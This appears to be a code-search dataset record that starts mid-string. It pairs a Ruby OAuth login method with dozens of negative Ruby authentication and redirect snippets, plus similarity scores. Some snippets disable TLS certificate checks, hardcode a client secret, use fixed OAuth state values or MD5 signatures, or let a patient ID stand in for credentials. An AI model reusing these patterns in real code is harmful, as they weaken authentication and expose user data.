@client.nil?\n redirect_to eobs_url, notice: \"Signed in with Patient ID: #{session[:patient_id]} \"\n end\n end", "def authorize\n if params[:redirect_path].present?\n session[:redirect_path] = params[:redirect_path]\n end\n\n # Certain providers require options to be selected\n if !params[:perform] && app_instance.app && PROVIDERS_WITH_OPTIONS.include?(app_instance.app.nid.to_s)\n render \"mno_enterprise/webhook/o_auth/providers/#{app_instance.app.nid}\"\n return\n end\n\n @redirect_to = MnoEnterprise.router.authorize_oauth_url(params[:id], extra_params.merge(wtk: wtk))\n end", "def openid_redirect_uri=(_arg0); end", "def login_from_param\n return true unless params[:auth_provider]\n return true unless request.get?\n if logged_in?\n uri_pieces = request.fullpath.split('?')\n param_pieces = uri_pieces[1].split('&')\n param_pieces.delete_if {|p| p =~ /^auth_provider/}\n redirect_to [uri_pieces[0], param_pieces.join('&')].join('?')\n return true\n end\n provider, url = ProviderAuthorization::AUTH_URLS.detect do |provider, url| \n provider.downcase == params[:auth_provider].to_s.downcase\n end\n if url\n return redirect_to oauth_bounce_url( provider: provider )\n end\n true\n end", "def authenticate\n if params[:shop].present?\n redirect_to ShopifyAPI::Session.new(params[:shop].to_s.strip).create_permission_url\n else\n redirect_to return_address\n end\n end", "def test_redirect_url\n common_opts = {}\n if user_is_in_proper_account?\n Rails.application.routes.url_helpers.workplace_start_path(common_opts.merge({success: true, refresh: true}))\n elsif UserSession.find\n Rails.application.routes.url_helpers.workplace_failure_path(common_opts.merge({network: params[:network], wrong_network: true}))\n else\n Rails.application.routes.url_helpers.identity_provider_path(common_opts.merge({network: params[:network], fb_workplace_network: false}))\n end\n end", "def redirect_to_url(callback_url)\n client_details = \"client_id=#{self.client_id}\"\n return callback_url + \"?#{client_details}\"\n end", "def login_from_client\n return nil unless params[:auth_client] && \n params[:auth_client] == \"iphone\" &&\n params[:auth_id] &&\n params[:auth_secret] \n\n auth_secret_index = request.url =~ /&auth_secret/\n signature = Digest::MD5.hexdigest \"--#{CONFIG[:iphone_salt]}\"\\\n \"--#{request.url.slice(0,auth_secret_index)}\"\n\n return nil unless signature == params[:auth_secret].downcase || /\\/auth/ === request.url\n\n User.find Cryptography.deobfuscate(params[:auth_id])\n rescue\n nil\n end", "def mobile_app_portal\n # log returning user into the app\n if params[:individual_user_id] && params[:secret]\n login(params[:individual_user_id], params[:secret])\n end\n\n\t # if pathway param exists, follow it to the proper page\n\t if params[:pathway]\t\t\n\t\t redirect_returning_user(params[:pathway],params)\n\t else\n\t\t redirect_to(:action => 'index')\n\t end\n end", "def authorize\n redirect_to 'https://delicious.com/auth/authorize?client_id=' + @client_id.to_s + '&redirect_uri=' + delicious_import_url\n end", "def link\n id = session[:id].to_s\n url =\"http://ourco2.org/dopplr/?userid=\"+id\n redirect_to \"https://www.dopplr.com/api/AuthSubRequest?scope=http://www.dopplr.com&next=\"+url+\"&session=1\"\n end", "def userauth_request(username, next_service, auth_method, *others); end", "def request_phase\n puts \"Request\"\n @request.params.each { |index, value| puts \"param#{index} = #{value}\" }\n settings = override_options(options.dup)\n settings[:reply] ||= callback_url\n auth_request = OmniAuth::Strategies::WSFed::AuthRequest.new(settings, :whr => @request.params['whr'])\n redirect(auth_request.redirect_url)\n end", "def execute(params)\n fetch_user_data(params[:code], params[:redirect_uri]).then(&method(:authenticate))\n end", "def new\n next_url = AppConfig.facebook_app_url + \"facebook/callback\"\n #next_url += (\"?request_ids=\" + params[:request_ids]) unless params[:request_ids].nil?\n @auth_url = Authentication.auth.client.web_server.authorize_url(\n :redirect_uri => next_url, :scope => AppConfig.facebook_perms\n )\n end", "def do_auth\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),\r\n 'method' => 'POST',\r\n 'cookie' => \"atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}\",\r\n 'vars_post' => {\r\n 'os_username' => datastore['HttpUsername'],\r\n 'os_password' => datastore['HttpPassword'],\r\n 'os_destination' => '',\r\n 'user_role' => '',\r\n 'atl_token' => '',\r\n 'login' => 'Log+In'\r\n }\r\n })\r\n end", "def get_authurl\n\t\tlogger.debug \"D, #{__method__.to_s}\"\n\t\tparams = {\n \"client_id\" => @client_id,\n \"response_type\" => \"code\",\n \"redirect_uri\" => @redirect_uri,\n \"prompt\" => \"consent\"\n }\n auth_uri = URI::Generic.new(\"https\", nil, @auth_url, nil, nil, \"authorize\", \n \t\t\t\t\t\t\t nil, nil, nil)\n auth_uri.query = URI.encode_www_form(params)\n logger.debug \"D, #{__method__.to_s}, #{auth_uri.to_s}\"\n return auth_uri.to_s\n\tend", "def authorise\n #FIRST SINGLE USE TOKEN WILL BE RECEIVED HERE..\n token = params[:token]\n #PREPAIRING FOR SECOND REQUEST WITH AUTH TOKEN IN HEADER.. WHICH WILL BE EXCHANED FOR PERMANENT AUTH TOKEN.\n uri = URI.parse(\"https://www.google.com\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = '/accounts/AuthSubSessionToken'\n headers = {'Authorization'=>\"AuthSub token=#{token}\"}\n\n #GET REQUEST ON URI WITH SPECIFIED PATH...\n resp, data = http.get(path, headers)\n #SPLIT OUT TOKEN FROM RESPONSE DATA.\n if resp.code == \"200\"\n token = ''\n data.split.each do |str|\n if not (str =~ /Token=/).nil?\n token = str.gsub(/Token=/, '')\n end\n end \n return redirect_to(:action => 'import', :token => token)\n else\n redirect_to root_url , :notice => \"fail\"\n end\n end", "def login\n if session[:token]\n reset_session \n end\n scope = 'https://www.google.com/analytics/feeds/'\n #next_url = 'http://localhost:3000/sites/select'\n next_url = 'http://greenalytics.heroku.com/sites/select'\n secure = false # set secure = true for signed AuthSub requests\n sess = true\n @authsub_link = GData::Auth::AuthSub.get_url(next_url, scope, secure, sess)\n end", "def prompt_user_authorisation\n\n require './app/routes/web'\n\n # Start local API\n Launchy.open(\"http://localhost:5000/cli/auth\")\n\n auth_thread = Thread.new do\n Linkedin2CV::Routes::Web.run!\n end\n\n auth_thread\n end", "def new\n details = params.permit(:provider, :continue, :id)\n remove_session\n set_continue(details[:continue])\n uri = \"/auth/#{details[:provider]}\"\n\n # Support generic auth sources\n uri = \"#{uri}?id=#{details[:id]}\" if details[:id]\n redirect_to uri, :status => :see_other\n end", "def url_auth(url, params = {})\n uri = Addressable::URI.parse(url)\n uri.query_values = {:login => session['login'].to_s, :authtoken => session['token'].to_s}\n uri.query_values = uri.query_values.merge( params )\n uri.to_s\n end", "def login_url(params, session)\n req_token = get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n authorize_url({ request_token: req_token.token, request_token_secret: req_token.secret })\n end", "def get_auth_url\n\t\tURI::HTTP.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:scope => @options['scope'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t}.to_query\n\t\t).to_s\n\tend", "def auth\n end", "def auth\n end", "def login_url(_params, session)\n req_token = get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n authorize_url(request_token: req_token.token, request_token_secret: req_token.secret)\n end", "def sign_in_and_redirect(resource_or_scope, *args); end", "def login\n state_json = {\n redirect_url: params[:redirect_url],\n access_token: params[:access_token],\n ip: request.remote_ip\n }\n\n unless params[:mixpanel_id].blank?\n state_json.merge!(mp_id: params[:mixpanel_id])\n end\n\n encoded_state = LinkedAccount::Base.encode_state(state_json)\n\n case params[:provider]\n when 'github'\n redirect_to LinkedAccount::Github::User.oauth_url(scope: params[:scope], state: encoded_state)\n\n when 'facebook'\n redirect_to LinkedAccount::Facebook.oauth_url(scope: params[:scope], state: encoded_state)\n\n when 'twitter'\n redirect_to LinkedAccount::Twitter.oauth_url(scope: params[:scope], state: encoded_state)\n\n else render json: { error: 'Unsupported provider' }, status: :bad_request\n end\n end", "def launch\n #reset_session # Get a completely fresh session for each launch. This is a rails method.\n if params[:client_id].length == 0 #this is a sentinel for unauthenticated access with the patient ID in the client_secret\n session[:client_secret] = session[:patient_id] = params[:client_secret]\n session[:client_id] = params[:client_id]\n session[:iss_url] = params[:iss_url]\n @patient_client = FHIR::Client.new(session[:iss_url])\n @patient_client.use_r4\n # @client.set_bearer_token(session[:access_token])\n puts \"==>redirect_to #{dashboard_url}\"\n redirect_to patients_path, alert: \"Please provide a client id and secret\"\n else\n # Let Params values over-ride session values if they are present\n launch = params[:launch] || session[:launch] || \"launch\"\n iss = (params[:iss_url] || session[:iss_url]).delete_suffix(\"/metadata\")\n session[:client_id] = params[:client_id].gsub /\\t/, '' || session[:client_id]\n session[:client_secret] = params[:client_secret].gsub /\\t/, '' || session[:client_secret]\n # Get Server Metadata\n rcRequest = RestClient::Request.new(\n :method => :get,\n :url => iss + \"/metadata\"\n )\n rcResult = JSON.parse(rcRequest.execute)\n session[:auth_url] = rcResult[\"rest\"][0][\"security\"][\"extension\"][0][\"extension\"].select{|e| e[\"url\"] == \"authorize\"}[0][\"valueUri\"]\n session[:token_url] = rcResult[\"rest\"][0][\"security\"][\"extension\"][0][\"extension\"].select{|e| e[\"url\"] == \"token\"}[0][\"valueUri\"]\n session[:iss_url] = iss\n session[:launch] = launch\n # for Onyx scope = \"launch/patient openid fhirUser offline_access user/ExplanationOfBenefit.read user/Coverage.read user/Organization.read user/Patient.read user/Practitioner.read patient/ExplanationOfBenefit.read patient/Coverage.read patient/Organization.read patient/Patient.read patient/Practitioner.read\"\n scope = \"launch/patient openid fhirUser offline_access user/*.read patient/*.read\"\n scope = scope.gsub(\" \",\"%20\" )\n scope = scope.gsub(\"/\",\"%2F\" )\n redirect_to_auth_url = session[:auth_url] + \n \"?response_type=code\"+\n \"&redirect_uri=\"+ login_url +\n \"&aud=\" + iss +\n \"&state=98wrghuwuogerg97\" +\n \"&scope=\"+ scope +\n \"&client_id=\" + session[:client_id] \n # + \"&_format=json\"\n puts \"===>redirect to #{redirect_to_auth_url}\"\n redirect_to redirect_to_auth_url\n end \n\n rescue StandardError => exception\n reset_session\n err = \"Failed to connect: \" + exception.message\n redirect_to patients_path, alert: err\n \n end", "def build_auth_url\n URI.parse(\"https://www.dropbox.com/oauth2/authorize\").tap do |uri|\n uri.query = URI.encode_www_form(\n client_id: DROPBOX_APP_KEY,\n redirect_uri: SHOTTY_CALLBACK_URL,\n response_type: :code,\n state: csrf_token,\n )\n end\nend", "def authenticate_url\n \"https://accounts.google.com/o/oauth2/auth?scope=https://www.googleapis.com/auth/urlshortener&response_type=code&client_id=#{ENV['GOOGL_CLIENT_ID']}&redirect_uri=#{ENV['GOOGL_REDIRECT_URI']}&access_type=offline&include_granted_scopes=true&approval_prompt=force\"\n end", "def authorize_url\n client.web_server.authorize_url( :redirect_uri => callback_url )\n end", "def authorize\n redirect \"https://accounts.spotify.com/authorize/?client_id=#{ENV['clientid']}&response_type=code&redirect_uri=#{$redirect_uri_base}%2Fcallback%23playlist&scope=playlist-modify-public%20playlist-modify-private%20user-read-private&state=34fFs29kd09\"\nend", "def login_0\n\n #definde needed header\n headers = {'Authorization' => \"Basic \" + @base_user_string}\n\n #Login\n response = request({:method => \"POST\", :url => @host + \"login\", :headers => headers})\n\n #Get organisation link\n @org_link = parse_content(response.body, '//Org')[0].attribute('href').to_s\n\n #Get authentication header key\n @auth_key = response.headers[:x_vcloud_authorization]\n\n end", "def temp_auth\n request_token = get_consumer.get_request_token(:oauth_callback => request.url.chomp(\"temp_auth\").concat(\"callback\"))\n # evernote returns a temp token and secret. save these somewhere for later\n flash[:request_token] = request_token.token\n flash[:request_secret] = request_token.secret\n # evernote also returned a url that app should direct to\n # in order for user to sign in and authorize the app\n redirect_to request_token.authorize_url\n end", "def oauth\n session[:return_to_url] = params[:redirect_after_login] if params[:redirect_after_login]\n login_at(auth_params[:provider])\n end", "def login\n if current_user and params[:return_to]\n # Already logged in; just need to send a token to the requesting\n # API client.\n #\n # FIXME: if current_user has never authorized this app before,\n # ask for confirmation here!\n\n send_api_token_to(params[:return_to], current_user)\n elsif params[:return_to]\n redirect_to \"/auth/joshid?return_to=#{CGI.escape(params[:return_to])}\"\n else\n redirect_to \"/auth/joshid\"\n end\n end", "def request_phase\n redirect authorize_endpoint_url\n end", "def auth(value); end", "def api_args\n return @api_args unless @api_args.blank?\n \n @api_args = settings.select_keys(\"client_id\", \"client_secret\")\n\n @api_args[\"response_type\"] = \"code\"\n\n uri = URI(my_addr)\n uri.path = \"/#{app.name}/authCallback\" \n @api_args[\"redirect_uri\"] = uri.to_s\n\n \n @api_args[\"token\"] = access_token if signed_in?\n\n @api_args[\"id\"] = user_entity[\"id\"].to_s if signed_in?\n\n return @api_args\n end", "def authenticate\n @discogs = Discogs::Wrapper.new(\"Test OAuth\")\n request_data = @discogs.get_request_token(DISCOGS_API_KEY, DISCOGS_API_SECRET, \"http://127.0.0.1:3000/callback\")\n \n session[:request_token] = request_data[:request_token]\n \n redirect_to request_data[:authorize_url]\n end", "def login_url(params,session)\n self.authorize_url({:authorize_url => @auth_path})\n end", "def redirect_original(request, state_params, site)\n response = Rack::Response.new\n # Note that app_callback_url is added by OmniAuth.config.before_request_phase\n # any value provided by a client will be overwritten in that method so that we\n # don't use/trust values sent by the client\n return_url = state_params[\"app_callback_url\"]\n query = query_string(request, SecureRandom.hex(64))\n return_url << \"?\"\n return_url << signed_query_string(query, site.secret)\n response.redirect return_url\n response.finish\n end", "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "def redirects; end", "def redirect_original(request, state_params, site)\n response = Rack::Response.new\n # Note that app_callback_url is added by OmniAuth.config.before_request_phase\n # any value provided by a client will be overwritten in that method so that we\n # don't use/trust values sent by the client\n return_url = state_params[\"app_callback_url\"]\n query = OauthStateMiddleware.query_string(request.params, SecureRandom.hex(64))\n return_url << \"?\"\n return_url << signed_query_string(query, site.secret)\n response.redirect return_url\n response.finish\n end", "def authentication_url(params={})\n @request_token.authorize_url params\n end", "def auth_scheme; end", "def auth(args)\r\n auth_method = args.fetch(:type, :standard)\r\n standard_auth(args) if auth_method == :standard\r\n end", "def startLinkedInAuth\n require 'oauth2'\n\n client = OAuth2::Client.new('75yetg1f8atx89', 'le39CGDc1yQLCo9U', :site => 'https://www.linkedin.com/', :authorize_url => '/uas/oauth2/authorization')\n #specifies our site url which LinkedIn should redirect back to after the user successfully logs in\n #also includes a random state for security and the LinkedIn data which we will request from the user (basic profile info and their email address)\n redirect_to client.auth_code.authorize_url(:redirect_uri => request.protocol + request.host_with_port + '/access/finishLinkedInAuth') + '&state=' + getRandomState + '&scope=r_basicprofile%20r_emailaddress'\n end", "def oauth\n login_at(auth_params[:provider])\n end", "def oauth\n login_at(auth_params[:provider])\n end", "def get_auth_url\n\t\tURI::HTTPS.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t}.to_query\n\t\t).to_s\n\tend", "def auth_url\n MiniFB.oauth_url(@app_id, @redirect_to,\n :scope => 'user_about_me') # See MiniFB.scopes\n end", "def login_url(_params, _session)\n authorize_url\n end", "def return_from_general_auth\t\n # back from oauth wormhole..obtain facebook user and credentials\n oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, GEN_AUTH_CALLBACK)\n session[:access_token] = oauth.get_access_token(params[:code])\n graph = Koala::Facebook::API.new(session[:access_token])\n facebook_user_id = graph.get_object(\"me\")[\"id\"]\n session[:individual_user_id] = \n IndividualUser.login_or_create(facebook_user_id,session[:access_token])\n\n # determine where to redirect\n state, link = false, false\n\t if params[:state]\n state = true\n decoded_state = ActiveSupport::JSON.decode(params[:state])\n \n # [Page Tab] return to the page tab\n if decoded_state['page_tab_id']\n\t\t\t graph = Koala::Facebook::API.new\n\t\t\t page_tab = graph.get_object(\"#{decoded_state['page_tab_id']}\")\n\t\t\t if page_tab[\"link\"]\n link = true\n\t\t\t\t encoded_page_state = URI.encode(ActiveSupport::JSON.encode(\n {:individual_user_id => session[:individual_user_id], \n :secret => session[:access_token]\n }))\n end\n end\n end\n \n # handle the redirect\n if state && link\n redirect_to(page_tab[\"link\"] + \n \"?sk=app_#{APP_ID}&app_data=#{encoded_page_state}\")\n else\n redirect_to(create_fb_url_with_creds(session[:individual_user_id],\n session[:access_token]))\n end\n return\n end", "def getAuthUrl\n\t\t\t\tURI::HTTP.build(\n\t\t\t\t\t:host => @options['auth_host'],\n\t\t\t\t\t:path => @options['auth_page'],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t\t\t:scope => @options['scope'],\n\t\t\t\t\t\t:response_type => \"code\",\n\t\t\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t\t}.to_query\n\t\t\t\t).to_s\n\t\t\tend", "def open_guacamole\n # vm by id in params\n respond_to do |format|\n result = @vm.open_guacamole\n if result && result[:success]\n format.html {\n # set cookie\n cookies[:GUAC_AUTH] = {\n value: result[:token],\n #expires: 1.hour.from_now,\n domain: result[:domain], #%w(rangeforce.com), # %w(.example.com .example.org)\n path: URI(ITee::Application::config.guacamole[:url_prefix]).path,\n #:secure,\n #:httponly\n }\n #redirect to url https://xxx.yyy.com/#/client/zzz\n redirect_to( result[:url] )\n }\n format.json { \n render :json => result \n }\n else\n format.html { redirect_to( not_found_path, :notice=> result[:message]) }\n format.json { \n render :json => {:success=>result[:success], :message=> result[:message] } \n }\n end\n end\n end", "def make_url(params) #:nodoc:\n if @key && @client_id\n url = super params.merge(:sensor => false, :client => @client_id)\n make_signed_url(url)\n else\n super params.merge(:sensor => false)\n end\n end", "def custom_redirect\n redirect_to('https://carto.com/signin/') if CartoDB.extract_subdomain(request) == 'developers'\n end", "def on_request_uri(cli, req)\r\n\t\tsend_response(cli, %Q{window.location.replace('#{datastore['Website']}');})\r\n\tend", "def url_to_social_login( provider_key, on_success = nil )\n provider = Aerogel::Auth.providers[provider_key] || {}\n origin = on_success || params['on_success']\n query_string = origin ? \"?origin=#{origin}\" : ''\n \"/auth/#{provider_key}#{query_string}\"\nend", "def redirector\n # Support for redirector.\n uri = URI(@options[:redirector])\n conn = EventMachine::Protocols::HttpClient2.connect(:host => uri.host, :port => uri.port, :ssl => @options[:secure])\n req = conn.get({:uri => \"/redirect/#{@options[:api_key]}\"})\n req.callback do |obj|\n begin\n obj = JSON::parse obj.content\n rescue Exception => e\n Util.error \"Unable to parse redirector response #{obj.content}\"\n return\n end\n if obj.has_key?('data') and obj['data'].has_key?('bridge_host') and obj['data'].has_key?('bridge_port')\n obj = obj['data']\n @options[:host] = obj['bridge_host']\n @options[:port] = obj['bridge_port']\n establish_connection\n else\n Util.error \"Could not find host and port in JSON body\"\n end\n end\n end", "def login\n if fetch_subscription(params) \n redirect_to \"/ssp/subscription\"\n else\n redirect_to \"/ssp/index?login=failed\"\n end \n end", "def login_url(params, session)\n self.authorize_url({ authorize_url: auth_path })\n end", "def authenticate_request(allow_web_based_client = false)\n Rails.logger.info(\"allow_web_based_client-#{allow_web_based_client}\")\n\n request_parameters = request.request_method == 'GET' ? request.query_parameters : request.request_parameters\n\n service_response = authenticator.new(\n params.merge({\n request_parameters: request_parameters,\n url_path: request.path,\n allow_web_based_client: allow_web_based_client\n })\n ).perform\n\n if service_response.success?\n # Set client id\n params[:client] = service_response.data[:client]\n params[:client_id] = params[:client].id\n\n # Remove sensitive data\n service_response.data = {}\n else\n render_api_response(service_response)\n end\n end", "def get_redirect_uri\n if Rails.env.development? \n #local_port = ':' + request.port.to_s()\n local_port = \":3000\"\n else\n local_port = \"\"\n end\n \"http://#{request.host}#{local_port}/jobs/accept\"\n end", "def login_url\n generate_login_token unless login_token.present?\n ENV['RESERVE_URL'] + '/sign-in/' + login_token\n end", "def generate_url(require: nil)\n @state = Digest::MD5.hexdigest(\"#{@app}::#{@uuid.generate}\")\n params = {\n app: @app,\n state: @state,\n redirectUri: @redirect_uri\n }\n params = params.merge(require: 'profile') if require == :profile\n params = params.to_query\n \"#{self.class.base_uri}/auth/providers/#{@provider}/login?#{params}\"\n end", "def authorize_browser(token=nil)\n client_id = \"adapter\"\n @usrname = \"user\"\n pwd = \"1234\"\n grt_type = \"password\"\n\n query = \"response_type=code&scope=openid%20profile&client_id=adapter&redirect_uri=http://127.0.0.1:8081/auth\"\n http_path = \"http://localhost:8081/auth/realms/master/protocol/openid-connect/auth\" + \"?\" + query\n url = URI(http_path)\n http = Net::HTTP.new(url.host, url.port)\n request = Net::HTTP::Get.new(url.to_s)\n #request[\"authorization\"] = 'bearer ' + token\n\n response = http.request(request)\n # p \"RESPONSE\", response.body\n\n File.open('codeflow.html', 'wb') do |f|\n f.puts response.read_body\n end\nend", "def sign_in_and_redirect!\n set_user_session_from_oauth\n set_user_cookie\n\n url = if params[:state] == \"popup\"\n Exvo::Helpers.auth_uri + \"/close_popup.html\"\n elsif params[:state] # if not popup then an url\n params[:state]\n else\n session[:user_return_to] || \"/\"\n end\n\n redirect_to url\n end", "def fastpass_url(args = {})\n consumer = OAuth::Consumer.new(args.fetch(:key), args.fetch(:secret))\n uri = URI.parse(args.fetch(:secure) ? \"https://#{fastpass_domain}/fastpass\" : \"http://#{fastpass_domain}/fastpass\")\n params = args.slice(:email, :name, :uid)\n\n uri.query = params.to_query\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n request = Net::HTTP::Get.new(uri.request_uri)\n request.oauth!(http, consumer, nil, scheme: 'query_string')\n\n # re-apply params with signature to the uri\n query = params.merge(request.oauth_helper.oauth_parameters).merge('oauth_signature' => request.oauth_helper.signature)\n uri.query = query.to_query\n\n uri.to_s\n end", "def redirect_uri\n\t\t@client.authorization.authorization_uri.to_s\n\tend", "def authorize_application\n # init auth state and oauth url..enter wormhole\n oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, GIFT_AUTH_CALLBACK)\n encoded_auth_state = create_auth_state\n oauth_url = create_oauth_url(oauth.oauth_callback_url, encoded_auth_state)\n redirect_to(:action => \"exit_portal\", :url => oauth_url) and return\n end", "def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end", "def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end", "def auth_link\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider=#{provider}\",\n \"\" ] if browse_everything_controller_debug_verbose\n @auth_link ||= if provider.present?\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller_debug_verbose\n link, data = provider.auth_link(connector_response_url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"link=#{link}\",\n \"data=#{data}\",\n \"\" ] if browse_everything_controller_debug_verbose\n provider_session.data = data\n link = \"#{link}&state=#{provider.key}\" unless link.to_s.include?('state')\n link\n end\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"@auth_link = #{@auth_link}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n @auth_link\n end", "def auth(options = {})\n # Create new Mechanize instance to drop any old credentials.\n \n if options[:cert]\n key = options[:cert][:key]\n if key.respond_to?(:to_str) && !File.exist?(key)\n key = OpenSSL::PKey::RSA.new key\n end\n cert = options[:cert][:cert]\n if cert.respond_to?(:to_str) && !File.exist?(cert)\n cert = OpenSSL::X509::Certificate.new cert\n end\n \n @mech = mech do |m|\n m.key = key\n m.cert = cert\n end\n else\n @mech = mech\n end\n \n # Go to a page that is guaranteed to redirect to shitoleth.\n step1_page = get '/atstellar'\n # Fill in the form.\n step1_form = step1_page.form_with :action => /WAYF/\n step1_form.checkbox_with(:name => /perm/).checked = :checked\n step2_page = step1_form.submit step1_form.buttons.first\n # Click through the stupid confirmation form.\n step2_form = step2_page.form_with :action => /WAYF/\n cred_page = step2_form.submit step2_form.button_with(:name => /select/i)\n \n # Fill in the credentials form.\n if options[:cert]\n cred_form = cred_page.form_with :action => /certificate/i\n cred_form.checkbox_with(:name => /pref/).checked = :checked\n elsif options[:kerberos]\n cred_form = cred_page.form_with :action => /username/i\n cred_form.field_with(:name => /user/).value = options[:kerberos][:user]\n cred_form.field_with(:name => /pass/).value = options[:kerberos][:pass]\n else\n raise ArgumentError, 'Unsupported credentials'\n end\n \n # Click through the SAML response form.\n saml_page = cred_form.submit cred_form.buttons.first\n unless saml_form = saml_page.form_with(:action => /SAML/)\n raise ArgumentError, 'Authentication failed due to invalid credentials'\n end\n saml_form.submit\n \n self\n end", "def auth_url\n \"#{@url}/auth/realms/#{@realm}/protocol/openid-connect/auth\"\n end" ]
[ "0.6678311", "0.6362986", "0.6335776", "0.62370044", "0.6176067", "0.61650795", "0.6118643", "0.60888183", "0.60588706", "0.60541135", "0.60386896", "0.6026132", "0.5991819", "0.59854573", "0.59653205", "0.59389", "0.59188396", "0.5917868", "0.59024245", "0.59006095", "0.5899529", "0.5899526", "0.58986783", "0.58945495", "0.58582985", "0.5843421", "0.5838897", "0.58290315", "0.582562", "0.58251804", "0.58187014", "0.581723", "0.58165276", "0.5792673", "0.5779651", "0.57753146", "0.57699156", "0.5767939", "0.5763743", "0.5761374", "0.57562095", "0.57551694", "0.5754001", "0.57486343", "0.57486343", "0.5746974", "0.5746884", "0.57397544", "0.5729425", "0.5726329", "0.5722079", "0.57201815", "0.5709267", "0.56996566", "0.56985503", "0.5698149", "0.5682852", "0.56704664", "0.5667704", "0.5661045", "0.5657172", "0.56554973", "0.56546485", "0.565428", "0.565428", "0.56540287", "0.56537485", "0.56493133", "0.5647207", "0.5625829", "0.5624721", "0.56206053", "0.56206053", "0.5619042", "0.56123793", "0.56026787", "0.5601751", "0.5599229", "0.55958056", "0.55874157", "0.5586583", "0.55837417", "0.55804133", "0.55774665", "0.55703044", "0.5569456", "0.55615556", "0.5556843", "0.5556437", "0.55552155", "0.55538845", "0.55530214", "0.55515736", "0.5547558", "0.5545638", "0.5545023", "0.5545023", "0.55430424", "0.5538819", "0.5535995" ]
0.6880365
0
login: Once authorization has happened, auth server redirects to here. Use the returned info to get a token Use the returned token and patientID to get the patient info
def login if params[:error].present? # Authentication Failure err = "Authentication Failure: #{params[:error]} - #{params[:error_description]}" redirect_to home_path, alert: err else session[:wakeupsession] = "ok" # using session hash prompts rails session to load session[:client_id] = params[:client_id] || session[:client_id] #).gsub! /\t/, '' session[:client_secret] = params[:client_secret] || session[:client_secret] #).gsub! /\t/, '' code = params[:code] @client = connect_to_server(code) return if @client.nil? redirect_to eobs_url, notice: "Signed in with Patient ID: #{session[:patient_id]} " end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def login\n if params[:error].present? # Authentication Failure\n ## binding.pry \n err = \"Authentication Failure: \" + params[:error] + \" - \" + params[:error_description]\n redirect_to patients_path, alert: err\n else\n session[:wakeupsession] = \"ok\" # using session hash prompts rails session to load\n session[:client_id] = params[:client_id] || session[:client_id]#).gsub! /\\t/, '' \n session[:client_secret] = params[:client_secret] || session[:client_secret]#).gsub! /\\t/, ''\n code = params[:code]\n auth = 'Basic ' + Base64.strict_encode64(session[:client_id] + \":\" + session[:client_secret])\n \n begin \n result = RestClient.post(session[:token_url],\n {\n grant_type: \"authorization_code\", \n code: code, \n # _format: \"json\",\n redirect_uri: CLIENT_URL + \"/login\"\n },\n {\n :Authorization => auth\n }\n )\n rescue StandardError => exception\n byebug\n # reset_session\n redirect_to patients_path, alert: \"Failed to connect: \" + exception.message and return\n end\n \n rcResult = JSON.parse(result)\n scope = rcResult[\"scope\"]\n session[:access_token] = rcResult[\"access_token\"]\n session[:refresh_token] = rcResult[\"refresh_token\"]\n session[:token_expiration] = Time.now.to_i + rcResult[\"expires_in\"].to_i\n @patient = session[:patient_id] = rcResult[\"patient\"]\n\n @patient_client = FHIR::Client.new(session[:iss_url])\n @patient_client.use_r4\n @patient_client.set_bearer_token(session[:access_token])\n @patient_client.default_json\n \n redirect_to dashboard_url, notice: \"Signed in\"\n end\n end", "def login_by_token\n\n end", "def connect_to_patient_server\n puts \"==>connect_to_patient_server\"\n if session[:client_id].length == 0 \n @patient_client = FHIR::Client.new(session[:iss_url])\n @patient_client.use_r4\n return # We do not have authentication\n end\n if session.empty? \n err = \"Session Expired\"\n # binding.pry \n redirect_to root_path, alert: err\n end\n if session[:iss_url].present?\n @patient_client = FHIR::Client.new(session[:iss_url])\n @patient_client.use_r4\n token_expires_in = session[:token_expiration] - Time.now.to_i\n if token_expires_in.to_i < 10 # if we are less than 10s from an expiration, refresh\n get_new_token\n end\n @patient_client.set_bearer_token(session[:access_token])\n end\n rescue StandardError => exception\n reset_session\n err = \"Failed to connect: \" + exception.message\n redirect_to root_path, alert: err\n end", "def auth\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"params=#{params}\",\n \"\" ] if browse_everything_controller_debug_verbose\n # params contains the access code with with the key :code\n provider_session.token = provider.connect(params, provider_session.data, connector_response_url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider_session.token=#{provider_session.token}\",\n 